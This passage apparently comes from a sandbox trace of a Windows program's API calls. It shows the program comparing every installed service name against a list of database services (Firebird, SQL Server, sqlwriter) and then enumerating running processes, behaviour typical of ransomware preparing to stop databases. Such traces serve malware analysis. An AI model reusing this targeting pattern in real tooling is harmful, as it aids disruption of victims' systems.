(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.379] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.379] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.379] lstrlenW (lpString="Audiosrv") returned 8 [0152.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0152.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0152.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0152.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0152.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0152.379] lstrlenW (lpString="BFE") returned 3 [0152.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.379] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0152.379] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0152.380] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0152.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0152.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0152.380] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0152.380] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0152.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0152.380] lstrlenW (lpString="CDPSvc") returned 6 [0152.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0152.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0152.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0152.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0152.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0152.380] lstrlenW (lpString="ClickToRunSvc") returned 13 [0152.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0152.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0152.380] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0152.380] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0152.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0152.380] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0152.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0152.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0152.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0152.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0152.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0152.380] lstrlenW (lpString="CryptSvc") returned 8 [0152.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.380] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.380] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.381] lstrlenW (lpString="DcomLaunch") returned 10 [0152.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.381] lstrlenW (lpString="DeviceAssociationService") returned 24 [0152.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0152.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0152.381] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0152.381] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0152.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0152.381] lstrlenW (lpString="Dhcp") returned 4 [0152.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.381] lstrlenW (lpString="Dnscache") returned 8 [0152.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.393] lstrlenW (lpString="DPS") returned 3 [0152.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.394] lstrlenW (lpString="DusmSvc") returned 7 [0152.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0152.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0152.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0152.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0152.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0152.394] lstrlenW (lpString="EventLog") returned 8 [0152.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0152.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0152.394] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0152.394] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0152.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0152.394] lstrlenW (lpString="EventSystem") returned 11 [0152.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.395] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.395] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.395] lstrlenW (lpString="FontCache") returned 9 [0152.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0152.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0152.395] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0152.395] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0152.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0152.395] lstrlenW (lpString="gpsvc") returned 5 [0152.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.395] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.395] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.395] lstrlenW (lpString="iphlpsvc") returned 8 [0152.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.395] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.395] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.395] lstrlenW (lpString="KeyIso") returned 6 [0152.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0152.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0152.395] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0152.395] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0152.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0152.395] lstrlenW (lpString="LanmanServer") returned 12 [0152.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.396] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.396] lstrlenW (lpString="lfsvc") returned 5 [0152.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0152.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0152.396] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0152.396] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0152.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0152.396] lstrlenW (lpString="lmhosts") returned 7 [0152.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.396] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.396] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.396] lstrlenW (lpString="LSM") returned 3 [0152.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0152.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0152.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0152.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0152.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0152.396] lstrlenW (lpString="MpsSvc") returned 6 [0152.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0152.396] lstrlenW (lpString="NcbService") returned 10 [0152.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0152.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0152.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0152.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0152.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0152.397] lstrlenW (lpString="netprofm") returned 8 [0152.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0152.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0152.397] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0152.397] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0152.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0152.397] lstrlenW (lpString="NgcSvc") returned 6 [0152.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0152.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0152.397] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0152.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0152.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0152.747] lstrlenW (lpString="NlaSvc") returned 6 [0152.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.747] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.747] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.747] lstrlenW (lpString="nsi") returned 3 [0152.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.747] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.747] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.747] lstrlenW (lpString="PcaSvc") returned 6 [0152.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.747] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.747] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.747] lstrlenW (lpString="PlugPlay") returned 8 [0152.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.748] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0152.748] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.748] lstrlenW (lpString="Power") returned 5 [0152.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.748] lstrlenW (lpString="ProfSvc") returned 7 [0152.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.748] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.748] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.748] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.748] lstrlenW (lpString="RpcSs") returned 5 [0152.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.748] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.748] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.748] lstrlenW (lpString="SamSs") returned 5 [0152.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.749] lstrlenW (lpString="Schedule") returned 8 [0152.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.749] lstrlenW (lpString="SecurityHealthService") returned 21 [0152.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0152.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0152.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0152.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0152.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0152.749] lstrlenW (lpString="SENS") returned 4 [0152.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.749] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.749] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.749] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.749] lstrlenW (lpString="Spooler") returned 7 [0152.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.750] lstrlenW (lpString="StateRepository") returned 15 [0152.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0152.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0152.750] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0152.750] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0152.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0152.750] lstrlenW (lpString="SysMain") returned 7 [0152.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0152.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0152.750] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0152.750] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0152.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0152.750] lstrlenW (lpString="SystemEventsBroker") returned 18 [0152.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0152.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0152.750] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0152.750] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0152.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0152.750] lstrlenW (lpString="Themes") returned 6 [0152.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0152.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0152.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0152.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0152.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0152.752] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0152.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0152.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0152.752] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0152.752] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0152.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4244998 | out: hHeap=0x660000) returned 1 [0152.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0152.760] Process32FirstW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.761] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.761] lstrlenW (lpString="System") returned 6 [0152.761] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.762] lstrlenW (lpString="smss.exe") returned 8 [0152.762] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.762] lstrlenW (lpString="csrss.exe") returned 9 [0152.762] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.763] lstrlenW (lpString="wininit.exe") returned 11 [0152.763] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.764] lstrlenW (lpString="csrss.exe") returned 9 [0152.764] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.764] lstrlenW (lpString="winlogon.exe") returned 12 [0152.764] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.765] lstrlenW (lpString="services.exe") returned 12 [0152.765] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.835] lstrlenW (lpString="lsass.exe") returned 9 [0152.835] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.836] lstrlenW (lpString="svchost.exe") returned 11 [0152.836] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: 